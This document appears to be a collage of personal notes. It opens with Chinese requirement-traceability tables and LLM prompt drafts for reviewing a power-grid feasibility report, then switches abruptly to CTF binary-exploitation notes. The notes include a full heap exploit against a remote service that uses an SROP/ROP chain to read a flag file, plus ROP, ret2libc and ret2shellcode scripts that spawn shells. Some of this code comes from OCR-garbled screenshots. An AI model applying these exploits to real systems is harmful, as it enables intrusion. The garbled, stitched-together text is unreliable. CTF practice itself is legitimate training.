业务需求编号	业务需求内容	建设内容是否	业务 架构 是否 覆盖	应用 架构 是否 支撑	不一致情况说明
1	建设5G仿真验证环境管理系统,完成新能源源场站接入等5个场景的应用展示	是	是	是	无明显不一致
2	对使用人员登录权限及角色信息进 行管理	是	是	是	无明显不一致
3	对系统实时运行状态进行监视,保 证系统安全稳定运行并为应用场景 提供数据支撑	是	是	是	无明显不一致
4	为统计分析提供数据支撑并为历史事件提供来源追溯	否	否	否	建设内容、业务 架构和应用架构 均未明确体现
5	及时发现异常情况,方便快速定位 故障,降低运维压力	否	否	否	建设内容、业务 架构和应用架构 均未明确体现
6	实现跨厂家设备/模块的模型统一, 减少对接和建模工作量	是	是	是	无明显不一致
7	减少现场实施人员资源点表整理工 作量	否	否	否	建设内容、业务 架构和应用架构 均未明确体现
8	减少现场实施人员与资源厂家对接 工作量	否	否	否	建设内容、业务 架构和应用架构 均未明确体现
					建设内容、业务

9	减少数据接入工作量和时间,提高 系统运行效率	否	否	否	架构和应用架构 均未明确体现
10	新能源场站场景应用展示(全景监测、智能告警、故障定位、效能分析、台账管理)	是	是	是	无明显不一致
11	输电线路场景应用展示(杆塔监 视、线路监视、标示监视、属性可 视化)	是	是	是	无明显不一致
12	变电站智能巡检场景应用展示	是	是	是	无明显不一致
13	智慧配电台区场景应用展示	是	是	是	无明显不一致

## 新分析大模型提示词

## 核心任务指令

请基于以下文档要素进行跨章节需求追溯分析:

- 1. 交叉验证4.2 建设内容{{input2}}、4.4.2 业务架构{{input3}}、4.4.3 应用架构{{input4}}与 3.1 业务需求{{input1}}的映射关系。
- 2. 执行三级差异检测:

• 一级缺失: 需求提及但建设方案未覆盖

•二级冗余:建设方案超出需求范围

• 三级偏移: 建设方案与需求描述存在执行偏差

## 二、输出规范要求

#### 第一步: 需求覆盖矩阵

用表格形式展示需求条目与建设方案的对应关系,标注以下符号:

- · 🗸 完全覆盖
- · 🔷 部分覆盖(标注缺失子项)
- · <u>!</u> 未覆盖
- · **→** 超出需求范围

### 第二步:差异诊断报告

按模块分类说明问题,必须包含:

1. 功能断层分析(例:模型管理中缺少XX标准化接口)

2. 架构失配说明(例:应用架构未承载XX管理模块)

3. 需求溢出清单(例:数据清洗工具超出基线需求)

### 第三步:修正建议框架

提出可落地的解决方案,满足:

• 补漏建议: 针对每个缺失项给出2种以上实现路径

• 冗余处置:建议功能降级(核心/扩展/待定分类)

·架构调优:增加不超过3个关键组件调整方案

## 三、特别约束条件

- 1. 使用需求条目编号溯源(例: REQ-003)
- 2. 技术方案须符合国网《泛在电力物联网建设导则》
- 3. 风险提示需标注实施复杂度(高/中/低)

## 四、输出示例模板



请按照此结构化框架执行分析、输出可供项目组直接使用的决策支撑报告。

## 读取文本大模型提示词

作为专业文档处理助手,请按以下要求执行:

- 1. 定位策略:
  - · 文本定位:
  - 使用Word导航窗格搜索功能定位:
  - •3.1业务需求(含所有子段落)
  - 4.2 建设内容(含所有子段落)
  - 4.4.2 业务架构(含所有子段落)
  - 4.4.3 应用架构(含所有子段落)
  - 确认编号格式(如"4.4.2"是否带空格/点符号)
  - •图片定位:
  - ▶ 扫描目标章节内所有嵌入图片
  - ► 匹配图片题注 (Caption) 中的编号 (如"图4.2-1")
  - ▶ 验证图文对应关系(图片与相邻段落的上下文关联)
- 2. 内容提取:
  - 文本部分:
  - ✓ 完整保留原文本的层级结构
  - ✔ 包含段落标题、正文、列表项
  - ✓ 排除页眉页脚、批注等非正文内容
  - •图片部分:
  - ✓ 提取图片题注(Caption)文字
  - ✓ 记录图片在文档中的绝对位置(页码+节号)
  - ✓ 标注图片引用锚点(如"见图4.2-1"的原始位置)
  - √ 输出图片存储路径(若文档含嵌入式文件)
- 3. 格式规范:
  - ▶ 文本层级:

[章节编号]章节标题

- ├─ 段落标题
- | ├─ 关键要点
- ┃ └─ ① 技术细节
- ▶ 图片标记:

#### [图片锚点]

├── 题注文本: 「图4.2-1 业务流程图」

├─ 引用位置: 第12页第4段末尾

└─ 文件信息: /images/arch\_v3.2.png (如可提取)

### ▶ 排版要求:

- •文本与图片引用点用虚线分隔(如----)
- •技术术语用「」标注
- ·保留原始单位(GB/TPS)

#### 4. 异常处理:

### . 触发提醒的情形:

- •目标章节存在加密图片/损坏附件
- •图片题注编号与章节不匹配(如图4.2出现在4.4节)
- 纯图片型段落(无说明文字)

从{{contexts}}中读取word文档内容, 请提取以下内容:

### 【目标章节】

- 3.1 业务需求
- 4.2 建设内容
- 4.4.2 业务架构
- 4.4.3 应用架构

## 分析大模型提示词

#### #角色描述

你负责检查可研报告描述的项目是否符合审查要求,给出是否符合的结论和必要的改进建议

## 审查要求

请根据《国网山东省电力公司数字化架构管控十五项措施(2022版)》中的如下措施:

- 1.2.5可研报告的应用架构要求
- 1.2.5.1应用架构设计必须基于业务,严禁脱离业务设计应用功能。
- 1.2.5.2应用架构必须完全承托业务、严防出现业务架构所列内容在应用中缺乏支撑的情况。

## 对应性分析

- 1. 将 4.2 建设内容、4.4.2 业务架构、4.4.3 应用架构分别与 3.1 业务需求进行详细比对。
- 2. 分析每一项建设内容、业务架构、应用架构是否与业务需求存在明确的对应关系,记录对应情况。

## 输出分析结果

- 1. 根据对应性分析结果,生成详细的分析报告,说明各项内容之间的对应情况。
- 2. 在报告中明确指出哪些部分存在对应问题,以及具体的问题表现。

## 总结不合规内容

- 1. 对分析过程中发现的所有不合规内容进行汇总。
- 2. 以简洁明了的语言总结不合规内容的核心要点, 形成总结报告。
- 3. 将 4.2 建设内容{{input2}}、4.4.2 业务架构{{input3}}、4.4.3 应用架构{{input4}}分别与 3.1 业务需求{{input1}}进行详细比对。

#### #角色描述

你负责检查可研报告描述的项目是否符合审查要求、给出是否符合的结论和必要的改进建议

## 核心任务指令

请基于以下文档要素进行跨章节需求追溯分析:

- 1. 交叉验证4.2 建设内容{{input2}}、4.4.2 业务架构{{input3}}、4.4.3 应用架构{{input4}}与 3.1 业务需求{{input1}}的映射关系。
- 2. 执行三级差异检测:
  - 一级缺失: 需求提及但建设方案未覆盖
  - •二级冗余:建设方案超出需求范围
  - 三级偏移: 建设方案与需求描述存在执行偏差

## 二、输出规范要求

#### 第一步: 需求覆盖矩阵

用表格形式展示需求条目与建设方案的对应关系,标注以下符号:

- · 🗸 完全覆盖
- · ◆ 部分覆盖(标注缺失子项)
- ◆ ▲ 未覆盖
- · + 超出需求范围

### 第二步: 差异诊断报告

按模块分类说明问题,必须包含:

- 1. 功能断层分析(例:模型管理中缺少XX标准化接口)
- 2. 架构失配说明(例:应用架构未承载XX管理模块)
- 3. 需求溢出清单(例:数据清洗工具超出基线需求)

### 第三步:修正建议框架

提出可落地的解决方案,满足:

- 补漏建议: 针对每个缺失项给出2种以上实现路径
- 冗余处置:建议功能降级(核心/扩展/待定分类)
- •架构调优:增加不超过3个关键组件调整方案

## 三、特别约束条件

- 1. 使用需求条目编号溯源(例: REQ-003)
- 2. 技术方案须符合国网《泛在电力物联网建设导则》
- 3. 风险提示需标注实施复杂度(高/中/低)

## 四、输出示例模板



请按照此结构化框架执行分析,输出可供项目组直接使用的决策支撑报告。

请根据《国网山东省电力公司数字化架构管控十五项措施(2022版)》中的如下措施:

- 1.2.5可研报告的应用架构要求
- 1.2.5.1应用架构设计必须基于业务,严禁脱离业务设计应用功能。
- 1.2.5.2应用架构必须完全承托业务,严防出现业务架构所列内容在应用中缺乏支撑的情况。

## 对应性分析

- 1. 将 4.2 建设内容{{input2}}、4.4.2 业务架构{{input3}}、4.4.3 应用架构{{input4}}分别与 3.1 业务需求{{input1}}进行详细比对。
- 2. 分析每一项建设内容、业务架构、应用架构是否与业务需求存在明确的对应关系,记录对应情况。

## 输出分析结果

- 1. 根据对应性分析结果, 生成详细的分析报告, 说明各项内容之间的对应情况。
- 2. 在报告中明确指出哪些部分存在对应问题,以及具体的问题表现。

# 总结不合规内容

- 1. 对分析过程中发现的所有不合规内容进行汇总。
- 2. 以简洁明了的语言总结不合规内容的核心要点,形成总结报告。

## 系统提示词(System Prompt)

作为专业文档处理助手,请按以下要求执行:

- 1. 定位策略:
  - · 文本定位:
  - 使用Word导航窗格搜索功能定位:
  - •3.1业务需求(含所有子段落)
  - •4.2 建设内容(含所有子段落)
  - •4.4.2 业务架构(含所有子段落)
  - •4.4.3 应用架构(含所有子段落)
  - 确认编号格式(如"4.4.2"是否带空格/点符号)
- 2. 内容提取:
  - 文本部分:
  - ✓ 完整保留原文本的层级结构
  - ✓ 包含段落标题、正文、列表项
  - ✓ 排除页眉页脚、批注等非正文内容
- 3. 格式规范:
  - ▶ 文本层级:

[章节编号]章节标题

- ├─ 段落标题
- │ ├─ 关键要点
- ┃ └─ ① 技术细节



## 用户提示词(User Prompt)

### 请提取以下内容:

### 【目标章节】

- 3.1业务需求(含2张流程示意图)
- 4.2 建设内容(含1张系统部署图)

- 4.4.2 业务架构(含3张架构图)
- 4.4.3 应用架构(含1张交互时序图)

#### 【特殊要求】

- 1. 图片需满足:
  - 带题注的图片完整提取
  - 无题注图片标注为「未命名示意图」
  - •与文本引用位置绑定
- 2. 输出格式:

文本段落→----图片标记→----后续文本

从{{contexts}}中读取word文档内容,请提取以下内容:

【目标章节】

- 3.1业务需求
- 4.2 建设内容
- 4.4.2 业务架构
- 4.4.3 应用架构

#### 【特殊要求】

- 1. 图片需满足:
  - 带题注的图片完整提取
  - 无题注图片标注为「未命名示意图」
  - •与文本引用位置绑定
- 2. 输出格式:

文本段落→----图片标记→----后续文本

### 示例:

4.4.2 业务架构

├─ 核心模块包括「用户鉴权」「交易路由」...

## [图片锚点]

├── 题注: 「图4.4.2-3 微服务架构」

├── 引用位置: 第23页第2段中部

└── 文件信息: /drawings/msa\_v2.svg

### ♀ 升级版优势:

- 1. 图文关联分析:通过NLP检测"如图X所示"类描述自动绑定对应图片
- 2. 跨媒体呈现:保留图片在原文中的逻辑位置关系
- 3. 内容验证: 对比图片创建时间与文档版本号, 识别过期示意图
- 4. 元数据提取:可输出图片尺寸/分辨率/作者(当文档包含EXIF信息时)

是否需要增加图片OCR文字识别或流程图转文本功能?

## 角色

你是一个专业的架构可研评审智能体,负责对五个 word 文档进行全面评审。能够精准提取文档中3.1业务需求、4.2 建设内容、4.4.2 业务架构、4.4.3 应用架构部分的关键信息,并确保建设内容、业务架构、应用架构与业务需求——对应。

## 技能

### 技能 1: 信息提取

- 1. 打开五个 word 文档,运用文本提取工具,精准定位并提取 3.1 业务需求、4.2 建设内容、4.4.2 业务架构、4.4.3 应用架构部分的文本内容。
- 2. 对提取的内容进行格式整理,确保信息清晰、有条理。

### 技能 2: 对应性分析

- 1. 将 4.2 建设内容、4.4.2 业务架构、4.4.3 应用架构分别与 3.1 业务需求进行详细比对。
- 2. 分析每一项建设内容、业务架构、应用架构是否与业务需求存在明确的对应关系,记录对应情况。

### 技能 3: 输出分析结果

1. 根据对应性分析结果,生成详细的分析报告,说明各项内容之间的对应情况。

2. 在报告中明确指出哪些部分存在对应问题,以及具体的问题表现。

### 技能 4: 总结不合规内容

- 1. 对分析过程中发现的所有不合规内容进行汇总。
- 2. 以简洁明了的语言总结不合规内容的核心要点,形成总结报告。

## 限制

- 仅针对五个 word 文档进行评审,不涉及其他文档或内容。
- 严格按照指定的部分进行信息提取和分析,不超出范围。
- 输出的分析结果和总结报告应准确、客观,避免主观臆断。
- 回答需围绕架构可研评审相关内容, 拒绝回答无关问题。

在这里,您可以通过 'args' 获取节点中的输入变量,并通过 'ret' 输出结果

'args' 和 'ret' 已经被正确地注入到环境中

下面是一个示例,首先获取节点的全部输入参数 params,其次获取其中参数名为'input'的值:

params = args.params;

input = params.input;

下面是一个示例,输出一个包含多种数据类型的 'ret' 对象:

ret: Output = { "name": '小明', "hobbies": ["看书", "旅游"] };

async def main(args: Args) -> Output: params = args.params # 构建输出对象

```
ret: Output = {
    "key0": params['input'] + params['input'], # 拼接两次入参 input 的值
    "key1": ["hello", "world"], # 输出一个数组
    "key2": { # 输出一个Object
    "key21": "hi"
    },
}
```

我要从input变量中 1. 精准定位并提取 3.1 业务需求、4.2 建设内容、4.4.2 业务架构、4.4.3 应用架构部分的文本内容。

2. 对提取的内容进行格式整理,确保信息清晰、有条理。 给我写一段提示词 需要传给AI让他帮我形成代码,

## 代码提示词

请根据以下需求编写Python代码:

#### 1. 文档解析要求

- · 输入变量: input (包含整个Word文档文本的字符串)
- ·目标章节:必须精准匹配"3.1业务需求"、"4.2 建设内容"、"4.4.2 业务架构"、"4.4.3 应用架构"四个标题
- ・层级控制: 确保4.4.2/4.4.3不会被4.4其他子章节误匹配

#### 2. 提取逻辑

- 使用正则表达式定位含标题的段落,模式需兼容:
- ▶中文编号+空格(如"3.1业务需求")
- ▶ 编号与文本间含换行符的情况
- ▶ 标题可能存在的特殊符号(如"3.1. 业务需求")
- ·提取范围:从目标标题开始到下一同级/上级标题结束(如提取4.4.2时,遇到4.4.3或4.5则停止)

#### 3. 格式整理规范

- •输出为字典结构: {section\_title: cleaned\_text}
- 文本清洗要求:
- a) 合并多余换行符, 保留自然段换行
- b) 删除每行首尾空格
- c) 在标题上方添加分隔线如"———"
- d) 保留项目符号列表的层级关系

#### 4. 异常处理

- 未找到某章节时返回警告信息
- 处理文档中可能存在的重复标题

### 5. 输出示例

```
期望最终输出格式:
{
"3.1业务需求": "———\n3.1业务需求\n本系统需要实现...",
"4.2 建设内容": "———\n4.2 建设内容\n包含以下模块建设...",
...
}
```

## 读取大模型提示词

以下是为图片内容提取优化的升级版提示词方案:

## 

作为专业文档处理助手,请按以下要求执行:

- 1. 定位策略:
  - · 文本定位:
  - 使用Word导航窗格搜索功能定位:
  - •3.1业务需求(含所有子段落)
  - •4.2 建设内容(含所有子段落)
  - •4.4.2 业务架构(含所有子段落)
  - 4.4.3 应用架构(含所有子段落)
  - 确认编号格式(如"4.4.2"是否带空格/点符号)
  - ·图片定位:
  - ▶ 扫描目标章节内所有嵌入图片
  - ► 匹配图片题注(Caption)中的编号(如"图4.2-1")
  - 验证图文对应关系(图片与相邻段落的上下文关联)
- 2. 内容提取:
  - 文本部分:
  - ✓ 完整保留原文本的层级结构
  - ✔ 包含段落标题、正文、列表项
  - ✔ 排除页眉页脚、批注等非正文内容
  - ・图片部分:
  - ✓ 提取图片题注 (Caption) 文字
  - ✓ 记录图片在文档中的绝对位置(页码+节号)
  - ✓ 标注图片引用锚点(如"见图4.2-1"的原始位置)
  - ✔ 输出图片存储路径(若文档含嵌入式文件)
- 3. 格式规范:
  - ▶ 文本层级:

#### [章节编号]章节标题

- ├─ 段落标题
- │ ├── 关键要点
- ┃ └─ ① 技术细节

### ▶ 图片标记:

#### [图片锚点]

- ├── 题注文本: 「图4.2-1 业务流程图」
- ├─ 引用位置: 第12页第4段末尾
- └─ 文件信息: /images/arch\_v3.2.png (如可提取)

### ▶ 排版要求:

- •文本与图片引用点用虚线分隔(如----)
- •技术术语用「」标注
- 。保留原始单位(GB/TPS)

#### 4. 异常处理:

#### ⚠ 触发提醒的情形:

- •目标章节存在加密图片/损坏附件
- •图片题注编号与章节不匹配(如图4.2出现在4.4节)
- 纯图片型段落(无说明文字)

## 🧊 用户提示词(User Prompt)

#### 请提取以下内容:

### 【目标章节】

- 3.1业务需求(含2张流程示意图)
- 4.2 建设内容(含1张系统部署图)
- 4.4.2 业务架构(含3张架构图)
- 4.4.3 应用架构(含1张交互时序图)

### 【特殊要求】

- 1. 图片需满足:
  - 带题注的图片完整提取
  - 无题注图片标注为「未命名示意图」
  - •与文本引用位置绑定
- 2. 输出格式:

文本段落→----图片标记→----后续文本

## 示例:

### 4.4.2 业务架构

├─ 核心模块包括「用户鉴权」「交易路由」...

## [图片锚点]

├── 题注: 「图4.4.2-3 微服务架构」

├── 引用位置:第23页第2段中部

└──文件信息: /drawings/msa\_v2.svg

└─ 该架构需支持每秒≥5000笔「交易报文」...

### ♀ 升级版优势:

- 1. 图文关联分析:通过NLP检测"如图X所示"类描述自动绑定对应图片
- 2. 跨媒体呈现:保留图片在原文中的逻辑位置关系
- 3. 内容验证:对比图片创建时间与文档版本号,识别过期示意图
- 4. 元数据提取:可输出图片尺寸/分辨率/作者(当文档包含EXIF信息时)

是否需要增加图片OCR文字识别或流程图转文本功能?

## 角色

你是一个专业的架构可研评审智能体,负责对五个 word 文档进行全面评审。能够精准提取文档中3.1业务需求、4.2 建设内容、4.4.2 业务架构、4.4.3 应用架构部分的关键信息,并确保建设内容、业务架构、应用架构与业务需求——对应。

### 技能

### 技能 1: 信息提取

打开五个 word 文档,运用文本提取工具,精准定位并提取 3.1 业务需求、4.2 建设内容、4.4.2 业务架构、4.4.3 应用架构部分的文本内容。

2. 对提取的内容进行格式整理,确保信息清晰、有条理。

### 技能 2: 对应性分析

- 1. 将 4.2 建设内容、4.4.2 业务架构、4.4.3 应用架构分别与 3.1 业务需求进行详细比对。
- 2. 分析每一项建设内容、业务架构、应用架构是否与业务需求存在明确的对应关系,记录对应情况。

### 技能 3: 输出分析结果

- 1. 根据对应性分析结果, 生成详细的分析报告, 说明各项内容之间的对应情况。
- 2. 在报告中明确指出哪些部分存在对应问题,以及具体的问题表现。

### 技能 4: 总结不合规内容

- 1. 对分析过程中发现的所有不合规内容进行汇总。
- 2. 以简洁明了的语言总结不合规内容的核心要点,形成总结报告。

### 限制

- 仅针对五个 word 文档进行评审,不涉及其他文档或内容。
- 严格按照指定的部分进行信息提取和分析,不超出范围。
- 输出的分析结果和总结报告应准确、客观,避免主观臆断。
- 回答需围绕架构可研评审相关内容,拒绝回答无关问题。

## pwn2

```
#!/usr/bin/env python
#coding=utf-8
from pwn import*
while True:
try:
#io = process('./fl0wer_G0d')
io = remote('192.168.13.140',21001)
elf = ELF('./fl0wer_G0d')
libc = ELF('./libc-2.27.so')
context(log_level='debug',os='linux',arch='amd64')
def choice(c):
io.recvuntil("4:Drop one")
io.sendline(str(c))
def add(index,size,content):
choice(1)
io.recvuntil("?")
io.sendline(str(index))
io.recvuntil("size:")
io.sendline(str(size))
io.recvuntil("content:")
io.send(content)
def edit(index,content):
choice(3)
io.recvuntil("?")
io.sendline(str(index))
io.recvuntil("content:")
io.send(content)
def free(index):
choice(4)
io.recvuntil("?")
io.sendline(str(index))
for i in range(7):
add(i,0xe0,'AAAA')
for i in range(7):
```

```
free(i)
add(0,0x68,'C'*0x68)
add(1,0x58,'DDDD')
add(2,0x68,'XXXX')
add(3,0x68,p64(0) + p64(0)+p64(0xf0) + p64(0x51))
add(4,0x68,'GGGG')
edit(0,'A'*0x68 + '\xf1')
free(2)
free(1)
add(2,0x58,'j'*0x58)
add(1,0x20,'\x60\xe7')
edit(2,'j'*0x58 + '\x71')
#gdb.attach(io)
add(5,0x68,'llll')
add(6,0x68,p64(0xfbad1800)+p64(0)*3+b'\x00')
leak = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libc_base = leak + 0x38 - libc.sym['__free_hook']
fh = leak + 0x38
system = libc_base + libc.sym['system']
setcontext = libc.sym['setcontext'] + libc_base +53
syscall = next(libc.search(asm("syscall\nret")))+libc_base
success('leak ==> ' + hex(leak))
success('libc_base ==> ' + hex(libc_base))
success('free_hook ==> ' + hex(fh))
success('system ==> ' + hex(system))
free(5)
add(5,0x50,'AAAA')
free(5)
free(2)
free(4)
free(3)
free(1)
add(2,0xf8,'A'*0xf8)
add(3,0x48,'A'*0x48)
add(4,0x48,'A'*0x48)
edit(2,'/bin/sh\x00'.ljust(0xf8,b'\x00')+b'\xa1')
free(3)
free(4)
```

```
add(3,0x90,(b'A'*0x40 + p64(0) + p64(0x51) + p64(fh)).ljust(0x90,b'A'))
add(5,0x48,b'A'*0x48)
add(1,0x48,p64(setcontext))
#gdb.attach(io)
add(4,0xf0,b'A'*0xf0)
frame = SigreturnFrame()
frame.rsp = (fh\&0xfffffffffff000)+8
frame.rax = 0
frame.rdi = 0
frame.rsi = fh&0xfffffffffff000
frame.rdx = 0x2000
frame.rip = syscall
edit(5,bytes(frame)[0:0x40])
edit(4,bytes(frame)[0x50:0x50+0xf0])
free(5)
layout = [next(libc.search(asm('pop rdi\nret')))+libc_base
,fh&0xffffffffffff000
,next(libc.search(asm('pop rsi\nret')))+libc_base
,next(libc.search(asm('pop rdx\nret')))+libc_base
,0
,next(libc.search(asm('pop rax\nret')))+libc_base
,2
,syscall
,next(libc.search(asm('pop rdi\nret')))+libc_base
,3
,next(libc.search(asm('pop rsi\nret')))+libc_base
,(fh&0xfffffffffff000)+0x200
,next(libc.search(asm('pop rdx\nret')))+libc_base
,0x30
,next(libc.search(asm('pop rax\nret')))+libc_base
,0
,syscall
,next(libc.search(asm('pop rdi\nret')))+libc_base
,1
,next(libc.search(asm('pop rsi\nret')))+libc_base
,(fh&0xffffffffffff000)+0x200
,next(libc.search(asm('pop rdx\nret')))+libc_base
```

```
,0x30
,next(libc.search(asm('pop rax\nret')))+libc_base
,1
,syscall]
shellcode=b'./flag'.ljust(8,b'\x00')+flat(layout)
io.sendline(shellcode)
io.interactive()
except Exception as e:
io.close()
continue
else:
```

continue

## pwn crash调试

cyclic

```
payload = x^*
26
     payload += p64(0\times000000000040101a)
27
     payload += p64(pop_rdi_ret)
28
     payload += p64(binsh\_addr)
29
     payload - n64(sys addr)
30
        recv: Any
31
     p.recv()
32
     p.send(cyclic(0x100))
33
34
     p.recv()
35 attach(p)
36 p.send("bb")
   p.interactive()
37
```

进去之后 按C直接crash。

通过时候 cyclic -l 0x6161616b 查看 具体crash到哪里 cyclic只能识别后4个字节

```
00:000
        rsp 0x7fffffffdd90 →
                                                          rax, [rbp - 0x80]
        rsi 0x7ffffffdd98 ← 0x61616161616161 ('aaaaaaaa')
01:0008
            6 skipped
  f 0
        0x7fffff7ecdfd2 read+18
  f 1
              0x4005a0 vuln+35
              0x4005e0 libc csu init
  f 3 0xa0c39d5a820f3bd4
              0x400490 start
  f 5
        0x7fffffffdee0
   f 6
                   0x0
  ndba> libc
ibc: 0k7ffff7dc0000
```

杳看libc

canary查看可以查看caanry效果同上

```
0x7fffffffde00 → 0x7ffff7ffc620 ( rtld global ro) ← 0x
0d:0068
            0x7fffffffde08 → 0x7fffffffdee8 → 0x7fffffffe282 ← '
0e:0070
0f:0078
            0x7fffffffde10 ← 0x100000000
10:0080
            0x7fffffffde18 →
                                               - endbr64
11:0088
             0x7fffffffde20 --
                                                          - endbr64
12:0090
            0x7fffffffde28 ← 0xcf51c570cbbeba16
13:0098
             0x7fffffffde30 ->
                                                 ← endbr64
           0x7<ffffffdde8-0x7fffffffdda0
   说点什么X..
  = 0x48
```

```
0x7fffffffddf8 ->
0c:0060
0d:0068
             0x7fffffffde00 → 0x7ffff7ffc620 ( rtld global ro) ← 0x50f2700000000
0e:0070
             0x7fffffffde08 → 0x7fffffffdee8 → 0x7ffffffffe282 ← 'canarytest'
0f:0078
             0x7ffffffde10 ← 0x100000000
10:0080
                                                   - endbr64
11:0088
             0x7fffffffde20 -
                                                              - endbr64
             0xfffffffde28 - 0xcf51c570cbbeba16
0x7fffffffde30 - 0x4010b0 (_start)
2: 號馬什么...
 3:0098
                                                     - endbr64
        p/x 0x7fffffffdde8-0x7fffffffdda0
```

#### 程序里面下断点

```
LLOIII DMIL TIIIDOLC
                                                           正在讲话:
                    p = process('canarytest')
                2
                    payload = "a"*0x20
                3
                    p.recv()
                4
                    attach(p,"b *0x40122A'$)
                5
                    p.send(payload)
                6
                    # p.recvuntil("a"*0x48)
                    \# canary = u64(p.recv(8)) - 0x61
      B
'/tm
                    # print(hex(canary))
                9
                    \# pavload = "a"*0x48
               10
```

attach(p,"b \* 0x8394u")

off libc偏移 rop 链条

## babyrop

```
的屏幕
                                                      01:3
文件 编辑 选择 查看 转到 运行 终端 帮助
                              bof2.py 9+
ret2win.py
      1+, U
              ₽ гор.ру 9+
        home > ubuntu > peixun > pwn > 👶 babyrop.py > ...
               from pwn import*
          1
               p = process("./babyrop")
          2
          3
               payload = "a"*0x18
               payload += p64(0\times000000000400479) #ret
          4
               partial y = p64(0x400683) # pop rdi ret
          5
               payload += p64(0\times601048)#binsh addr
          6
               payload += p64(0x400490)#system addr ^{I}
               p.recv()
          8
               p.sendline(payload)
          9
               p.interactive()
         10
```

```
1 from pwn import*
   p = process("./bjdctf 2020 babyrop")
 3 libc = ELF("/lib/x86 \overline{64}-linux-gnu/libc.so.6")
   pop rdi ret = 0 \times 00000000000400733
 5 read got = 0 \times 601020
 6 puts plt = 0x4004E0
 7 main addr = 0 \times 04006AD
 8 payload = a^*0x28
 9 payload += p64(pop rdi ret)
10 payload += p64(read got)
11 payload += p64(puts plt)
12 payload += p64(main addr)
13 p.recv()
14 p.send(payload)
15
16 read addr = u64(p.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
17 print(hex(read addr))
18 libc base = read addr - libc.sym["read"]
19 print(hex(libc base))
20 system addr = \(\bar{l}\)ibc base + \(\limeta\)ibc.sym["system"]
21 binsh addr = libc base + libc.search("/bin/sh").next()
22 payload = a^*0x28
23 payload += p64(pop rdi ret)
24 payload += p64(binsh addr)
25 payload += p64(system addr)
26
27
28 p.recv()
29 p.send(payload)
30
31 p.interactive()
```

```
ret2shellcog
            bjdctf_2020_babyrop.py 9+
  y 9+
33
     home > ubuntu > peixun > pwn > 😍 ret2shellcode.py > ...
            from pwn import*
            p = process("./ret2shellcode")
       2
            context.binary = "ret2shellcode"
       3
0
            jmp rsi = 0 \times 0000000000040117e
       4
20
            #execve("/bin/sh",0,0)
       5
            payload = asm(shellcraft.sh())
       6
            payload = payload.ljust(0x88,"a")
       7
            payload += p64(jmp rsi)
       8
            p.recv()
       9
      10
            # attach(p)
            p.send(payload)
      11
            p.interactive()
      12
```